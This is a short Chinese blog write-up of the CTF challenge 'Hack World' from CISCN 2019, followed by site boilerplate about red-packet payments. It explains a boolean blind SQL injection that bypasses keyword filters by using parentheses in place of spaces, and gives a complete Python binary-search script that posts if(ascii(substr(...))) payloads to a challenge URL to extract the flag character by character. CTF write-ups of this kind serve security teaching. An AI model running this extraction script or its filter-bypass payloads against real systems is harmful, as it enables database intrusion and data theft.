[CISCN2019 华北赛区]Hack World

应该算是bool盲注

这题过滤了许多东西,建议Fuzz测试一下,and or # - union
但是()可以用 if也可以

尝试 id=(length(database())>4)是成功回显id=1结果

 payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)

值得注意的是这里用 ()绕过空格
一个二分法的脚本:

import requests
url="http://b8f9001a-a646-4ff0-a940-8e7c928e9290.node3.buuoj.cn/index.php"
flag=""
for i in range(1,100):
    min=32
    max=128
    while 1:
        middle=min+((max-min)//2)
        if min == middle:
            flag+=chr(middle)
            print(flag)
            if chr(middle)=="}":
                exit()
            break
            

        payload="if(ascii(substr((select(flag)from(flag)),{},1))<{},1,2)".format(i,middle)
        data={'id':payload}
        res=requests.post(url=url,data=data).text
        #print(res)
        if "glzjin wants a girlfriend" in res:
            max=middle
        else:
            min=middle
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值